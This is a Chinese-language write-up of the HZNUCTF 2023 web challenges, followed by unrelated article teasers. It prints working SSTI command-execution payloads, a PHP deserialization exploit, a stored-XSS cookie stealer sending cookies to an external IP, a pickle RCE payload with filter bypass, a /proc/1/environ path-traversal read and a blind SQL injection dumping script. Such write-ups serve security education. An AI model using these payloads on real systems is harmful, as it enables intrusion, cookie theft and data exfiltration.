[HZNUCTF 2023 preliminary] 2023杭师大校赛(初赛) web方向题解wp 全

news2025/1/21 0:59:37

ezflask

先看题目,应该是模板注入(SSTI),输入{{7*‘7’}}直接报错误。

image-20230325103700609

发现模板是反序输出的,怪不得不能直接输入{{}}。

image-20230325104044802

输入}}‘7’*7{{返回777777,是jinja2

image-20230325104258299

//直接手打,无所谓我是怨种
?name=}})')(daer.)"/ sl"(nepop.)"so"(__tropmi__'(lave.]'__snitliub__'[__slabolg__.__tini__.a{{

后来写了一个逆序字符串的脚本:

import base64

strA = input()
strB=strA[::-1]
#sbase=str(base64.b64encode(strB.encode("utf-8")), "utf-8")   #base


print(strB)   #base不能直接编码,要先换成byte类型,直接在线网站编码

image-20230325110257757

找到flag了,在flag.sh。呃。。。。。

?name=}})')(daer.)"hs.galf/ cat"(nepop.)"so"(__tropmi__'(lave.]'__snitliub__'[__slabolg__.__tini__.a{{
内心:6

image-20230325110506615

tac $(find / -name fla*)
payload:?name=}})')(daer.)")*alf eman- / dnif($ cat"(nepop.)"so"(__tropmi__'(lave.]'__snitliub__'[__slabolg__.__tini__.a{{  //无效,找不到

find / -name flag*
payload:?name=}})')(daer.)"*galf eman- / dnif"(nepop.)"so"(__tropmi__'(lave.]'__snitliub__'[__slabolg__.__tini__.a{{

image-20230325111730983

tac $(find / -name flag.txt)
payload:?name=}})')(daer.)")txt.sgalf eman- / dnif($ cat"(nepop.)"so"(__tropmi__'(lave.]'__snitliub__'[__slabolg__.__tini__.a{{  //找不到,不敢打出题人

cd bin/;ls
payload:?name=}})')(daer.)"sl;/nib/ dc"(nepop.)"so"(__tropmi__'(lave.]'__snitliub__'[__slabolg__.__tini__.a{{
//得到app.py require.txt

cd /usr/bin/bash;ls
payload:?name=}})')(daer.)"sl;hsab/nib/rsu/ dc"(nepop.)"so"(__tropmi__'(lave.]'__snitliub__'[__slabolg__.__tini__.a{{ 

尝试无果,基本上翻遍了目录。换个思路,查看一下环境变量,env命令。

?name=}})')(daer.)"vne"(nepop.)"so"(__tropmi__'(lave.]'__snitliub__'[__slabolg__.__tini__.a{{ 

image-20230325121818293

ppppop

打开题目,没东西,看看包,有个cookie,base64加密,伪造一下。

image-20230325123709102

image-20230325123951177

image-20230325124009344

strrev() , 反转字符串

__call(),在对象中调用一个不可访问方法时调用

image-20230325152522319

exp:
<?php
error_reporting(0);
class A {
    public $className='B';
    public $funcName='system';
    public $args='env';

    public function __destruct() {
        $class = new $this->className;
        $funcName = $this->funcName;
        $class->$funcName($this->args);
    }
}

class B {
    public function __call($func, $arg) {
        $func($arg[0]);
    }
} 

$j17 = new A();
#echo serialize($j17);
echo base64_encode(strrev(serialize($j17)));
echo '666666666666666';
?>
//幸好先做了SSTI,要不然找flag能把我找疯咯。

image-20230325152649098

猜猜猜

又是逆序,服了,谢谢你秋菊师傅。

id=4,但是看不见。

image-20230325134518423

联合注入无效。

image-20230325135006650

image-20230325203729737

过滤了<?php和

<script>alert(1)</script> 有返回框

image-20230325204809892

<script>document.location.href='http://43.138.184.24:9999/test.php?cookie='+document.cookie</script>

>tpircs/<eikooc.tnemucod+'=eikooc?php.a/xxx//:ptth'=ferh.noitacol.tnemucod>tpircs<

脑洞题,想想。等到了hint,pingpong。命令执行ping。之前遇到过类似的题原理不懂等wp 为啥这里可以这样啊,暂时的想法是,<?php 被过滤了,执行命令服务器解析不了,和ping一起的话服务器就知道我要执行命令了。

image-20230326194721891

ping 127.0.0.1||env   //永远的env,逆序一下哦

image-20230326200107540

ezpickle

Python Pickle反序列化。picklecPickle,作用和PHP的serialize与unserialize一样。pickle不仅可以读写字符串,也可以读写文件:只需要采用pickle.dump()pickle.load()

使用pickle.dumps()函数将一个Person对象序列化成二进制字节流的形式。使用pickle.loads()将一串二进制字节流反序列化为一个Person对象。

并且pickle.loads会解决import 问题,对于未引入的module会自动尝试import。也就是说整个python标准库的代码执行、命令执行函数我们都可以使用。

Pickle中一个不安全的因素——反序列化未知的二进制字节流。原因是该字节流可能包含被精心构造的恶意代码,此时如果我们使用pickle.loads()方法unpickling,就会导致恶意代码的执行。


__reduce__函数,该函数能够定义该类的二进制字节流被反序列化时进行的操作。返回值是一个(callable, ([para1,para2...])[,...])类型的元组。当字节流被反序列化时,Python就会执行callable(para1,para2...)函数。我们可以通过在类中重写__reduce__方法,从而在反序列化时执行任意命令。

注意点:

部分Linux系统下和Windows下的opcode字节流并不兼容,比如Windows下执行系统命令函数为os.system(),在部分Linux下则为posix.system()

另外有一点需要注意:对于我们自己定义的class,如果直接以形如date = 20191029的方式赋初值,**则这个date不会被打包!**解决方案是写一个__init__方法, 也就是这样:

image-20230325234714221

一个是windows和linux生成的序列化会不一样(所以我们做题时要用kali生成),一个是os需要去双写绕过

代码如下:
import base64
import pickle
from flask import Flask, request

app = Flask(__name__)


'''
这个函数级别的注解指明了当地址是根路径时,就调用下面的函数。  
在app.route(’/TestB/’)中,TestB前后有斜杆,则访问时,是否在TestB后面加斜杠,Flask都会重定向到(/TestB/)中,且访问成功,
若在app.route(’/TestA`),TestA后无斜杠,则在访问时,则在访问时,若访问(/TestA/),则会报错,访问(/TestA),则访问成功。
'''


@app.route('/')
def index():
    with open('app.py', 'r') as f:
        return f.read()


@app.route('/calc', methods=['GET'])
def getFlag():
    payload = request.args.get("payload")    #get输入payload,在/calc目录
    pickle.loads(base64.b64decode(payload).replace(b'os', b''))    #反序列化,字符替换,过滤os,但是我们可以发现他只过滤一次,所以我们可以双写绕过!!!
    
    return "ganbadie!"


@app.route('/readFile', methods=['GET'])
def readFile():            #可以把结果重定向到文件中,然后用readFile读。在/readFile目录

    filename = request.args.get('filename').replace("flag", "????")    #GET提交,把flag换成????,任意文件读取但是防止读取flag。
    with open(filename, 'r') as f:
        return f.read()


if __name__ == '__main__':
    app.run(host='0.0.0.0', port=80)

生成payload:

import pickle
import os
import base64

class qiuju666():         //秋菊师傅真的强
    def __reduce__(self):        
        return(os.system,("env> a.txt",))   //重定向,从之前题目推断出flag在环境变量。当然这里可以执行其他命令

a= qiuju666()
payload=pickle.dumps(a).replace(b'os', b'ooss')   //双写绕过

payload=base64.b64encode(payload)    //base编码byte类
print(payload)

image-20230326083659300

image-20230326083710253

image-20230326083723746


此外,后续还发现了一个非预期。任意文件读取可以读取环境变量文件/proc/1/version

payload:

/readFile?filename=../../../../../../../../../../../../proc/1/environ

image-20230816004645270

ezlogin

先看题目,抓个包,是post传参,有提示。name是base+反转。

image-20230325155908229

只有用户名有过滤,应该是注入点

过滤and      ==》&&    //我直接or了
过滤database ==》Database
过滤空格      ==》/**/                    
过滤=        ==》like


9999999'/**/or/**/length(Database())like/**/5/**/#     //记得base,成功登录,注释符只能用#
Content-Length: 22【不成功】   129【成功】
手工测出数据库长度是5

这里只提示登录成功与否,无任何回显信息,所以只能用盲注。

image-20230816001943271

脚本  

#author:yu22x  improve by jay17
import requests
import string
import base64
url="http://7ad5907d-0d03-4bfe-8cd0-baebf20f5dc5.ite.hznu.edu.cn/"
s=string.ascii_letters+string.digits
flag=''
for i in range(1,999):
    print(i)
    for j in range(32,128):

        # 跑库名
        #s = f"999'/**/or/**/if(ascii(substr((SeleCt/**/grOUp_conCAt(schema_name)/**/fROm/**/information_schema.schemata),{i},1))/**/like/**/{j},1,0)#"

        # 跑表名
        #s = f"999'/**/or/**/if(ascii(substr((SeleCt/**/grOUp_conCAt(table_name)/**/fROm/**/information_schema.tables/**/wHERe/**/table_schema/**/like/**/'ctftraining'),{i},1))/**/like/**/{j},1,0)#"

        # 跑列名
        #s = f"999'/**/or/**/if(ascii(substr((Select/**/groUp_coNcat(column_name)frOm/**/information_schema.columns/**/Where/**/table_name/**/like/**/'news'),{i},1))/**/like/**/{j},1,0)#"

        #######################
        s = f"999'/**/or/**/if(ord(substr((Select/**/grOUp_cOncat(password)/**/frOm/**/users.user),{i},1))/**/like/**/{j},1,0)#"



        sre = s[::-1]   #逆序
        sbase=str(base64.b64encode(sre.encode("utf-8")), "utf-8")   #base64


        data={
            'username':sbase,
            'passwd':'MTEx'
        }


        # data={
        #     'username':f"'||if(ord(substr((select f1ag from ctfshow_fl0g),{i},1))={j},1,0)#",
        #     'password':'1'
        # }

        r=requests.post(url,data=data)
        #print(r.text)
        if "success!!" in r.text:
            flag+=chr(j)
            print(flag)
            break

#库  information_schema,ctftraining,performance_schema,test,mysql,users

#ctftraining库的表    FLAG_TABLE,news,users
#FLAG_TABLE列     FLAG_COLUMN
#news列           id,title,content,time
#骗局,骗局,骗局,骗局,骗局,骗局,骗局,骗局,骗局,骗局,骗局,骗局!!!!!!!!!!!!!!



#users库的表  user
#user列     max_questions,max_updates,max_connections,max_user_connections,plugin,authentication_string,password_expired,is_role,default_role,max_statement_time,id,username,password
#列  Host,User,Password,Select_priv,Insert_priv,Update_priv.......,id,username,password(600+)
#字段  password里面有东西

image-20230326131257674

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/883931.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Mysql中使用存储过程插入decimal和时间数据递增的模拟数据

场景 Mysql插入数据从指定选项中随机选择、插入时间从指定范围随机生成、Navicat使用存储过程模拟插入测试数据&#xff1a; Mysql插入数据从指定选项中随机选择、插入时间从指定范围随机生成、Navicat使用存储过程模拟插入测试数据_mysql循环插入随机数据_霸道流氓气质的博客…

【第三阶段】kotlin语言中的先决条件函数

用于函数内部判断异常&#xff0c;节省开发 1.checkNotNull&#xff08;&#xff09;如果传入为null则抛出异常 fun main() {var name:String?nullcheckNotNull(name) }执行结果 2.requireNotNull ()如果传入为null则抛出异常 fun main() {var name:String?nullrequireNot…

基于PSO-KELM的时间序列数据预测(含对比实验)

前段时间有粉丝私信想让我出一期对时间序列预测的文章&#xff0c;所以今天它来了。 时间序列数据&#xff0c;如股指价格&#xff0c;具有波动性、非线性和突变的特点&#xff0c;对于这类数据的预测往往需要可靠强健的预测模型&#xff0c;而传统的机器学习算法如SVM、BP等…

详解RFC 793文档-3

3.4 建立连接 三次握手用来建立连接,这个过程通常由一个TCP发起,并由另一个TCP响应。如果两个TCP同时启动该过程,该过程也可以工作。这说明客户端和服务器可以同时发起连接请求,且能够连接成功。当同时尝试连接时,每个TCP在发送自己的SYN后接收到一个不携带任何ACK确认的…

分布式 - 服务器Nginx:一小时入门系列之代理缓冲与缓存

官方文档&#xff1a;https://nginx.org/en/docs/http/ngx_http_proxy_module.html 1. 代理缓冲 proxy_buffer 代理缓冲用于临时存储从后端服务器返回的响应数据。通过使用代理缓冲&#xff0c;Nginx可以在接收完整的响应后再将其发送给客户端&#xff0c;从而提高性能和效率…

从零实现kv存储V2.0

在V1.0版本&#xff0c;我们实现了基于array的kv存储引擎。本文继续完善&#xff0c;增加rbtree、hash、skiptable引擎。 实际上&#xff0c;在框架确定的基础上&#xff0c;其他的引擎只需要添加接口即可。 一、架构设计 二、具体实现 2.1 引擎层 //---------------------…

第14集丨Vue2 基础 —— 生命周期

目录 一、引子1.1 实现一1.2 一个死循环的写法1.3 mounted实现 二、生命周期2.1 概念2.2 常用的生命周期钩子2.3 关于销毁Vue实例注意点2.4 vm的一生(vm的生命周期)2.5 生命周期图示 每个 Vue 实例在被创建时都要经过一系列的初始化过程——例如&#xff0c;需要设置数据监听、…

轻量级自动化测试框架WebZ

一、什么是WebZ WebZ是我用Python写的“关键字驱动”的自动化测试框架&#xff0c;基于WebDriver。 设计该框架的初衷是&#xff1a;用自动化测试让测试人员从一些简单却重复的测试中解放出来。之所以用“关键字驱动”模式是因为我觉得这样能让测试人员&#xff08;测试执行人员…

企业权限管理(十三)-用户关联角色操作

用户关联角色操作 从前台发送请求 <a href"${pageContext.request.contextPath}/user/findUserByIdAndAllRole.do?id${user.id}" class"btn bg-olive btn-xs">添加角色</a>查询用户以及用户可以添加的角色 usercontroller //查询用户以及用…

k8s 自身原理之 Service

好不容易&#xff0c;终于来到 k8s 自身的原理之 关于 Service 的一部分了 前面我们用 2 个简图展示了 pod 之间和 pod 与 node 之间是如何通信息的&#xff0c;且通信的数据包是不会经过 NAT 网络地址转换的 那么 Service 又是如何实现呢&#xff1f; Service 我们知道是用…

网神 SecGate 3600 防火墙任意文件上传漏洞复现

0x01 产品简介 网神SecGate3600下一代极速防火墙&#xff08;NSG系列&#xff09;是基于完全自主研发、经受市场检验的成熟稳定网神第三代SecOS操作系统 并且在专业防火墙、VPN、IPS的多年产品经验积累基础上精心研发的高性能下一代防火墙 专门为运营商、政府、军队、教育、大型…

图扑数字孪生智慧乡村综合管控平台

数字乡村是伴随网络化、信息化和数字化在农业农村经济社会发展中的应用&#xff0c;既是乡村振兴的战略方向&#xff0c;也是建设数字中国的重要内容。为了进一步提升乡村治理智能化、专业化水平&#xff0c;解决建设顶层缺失、数据孤岛等问题&#xff0c;数字孪生技术被广泛应…

工控机防病毒

2月3日&#xff0c;作为全球最大的半导体制造设备和服务供应商&#xff0c;美国应用材料公司&#xff08;Applied Materials&#xff09;表示&#xff0c;有一家上游供应商遭到勒索软件攻击&#xff0c;由此产生的关联影响预计将给下季度造成2.5亿美元&#xff08;约合人民币17…

使用MAT分析OOM问题

OOM和内存泄漏在我们的工作中&#xff0c;算是相对比较容易出现的问题&#xff0c;一旦出现了这个问题&#xff0c;我们就需要对堆进行分析。 一般情况下&#xff0c;我们生产应用都会设置这样的JVM参数&#xff0c;以便在出现OOM时&#xff0c;可以dump出堆内存文件&#xff…

JavaScript进阶 第二天

深入对象内置构造函数 一. 深入对象 创建对象三种方式构造函数实例成员&静态成员 1.1 创建对象三种方式 ① 利用对象字面量创建对象 const o {name: 哈哈 } ② 利用new Object 创建对象 const o new Object({ name: 哈哈 }) ③ 构造函数创建对象 1.2 构造函数 …

致远OA M1Server RCE漏洞复现

0x01 产品简介 致远M1移动协同软件&#xff0c;结合移动应用特色的信息终端&#xff0c;帮您高效管理&#xff0c;掌控全局&#xff1b;基于移动互联技术的产品&#xff0c;实现全天候在线&#xff0c;随时随地了解企业信息&#xff1b;触控式操作&#xff0c;舒适的滑动体验&a…

Prim+Kruskal(最小生成树)

Prim算法求最小生成树 给定一个 n 个点 m 条边的无向图&#xff0c;图中可能存在重边和自环&#xff0c;边权可能为负数。 求最小生成树的树边权重之和&#xff0c;如果最小生成树不存在则输出 impossible。 给定一张边带权的无向图 G(V,E)&#xff0c;其中 V 表示图中点的集…

FPGA:RS编码仿真过程

FPGA&#xff1a;RS编码仿真过程 RS码是一种纠错性能很强的线性纠错码&#xff0c;能够纠正随机错误和突发错误。RS码是一种多进制BCH码&#xff0c;能够同时纠正多个码元错误。 之前已经记录了在MATLAB中进行rs编解码的过程&#xff0c;现在利用FPGA的IP核实现RS编码的过程&…

Hlang社区-社区导航栏实现

文章目录 前言项目结构导航实现创作中心移动小球消息提示完整代码前言 okey,这里的话是我们社区导航栏的实现: 废话不多说,看看效果: 我甚至为此用New Bing生成了一个Logo。 项目结构 废话不多说,先来看到我们的项目结构: 在这里导航栏是一个组件。 在App.vue里面直…

POST请求负载form-data表单数据需要同步修改header的Content-type

需要读公司的一个接口&#xff0c;显示负载是“表单数据” 一开始没注意类型&#xff0c;按照公司其他接口的情况用了json&#xff0c;结果返回的数据时间阶段没有体现dct的要求&#xff0c;脚本如下&#xff08;错误示范&#xff09; from requests import post from json im…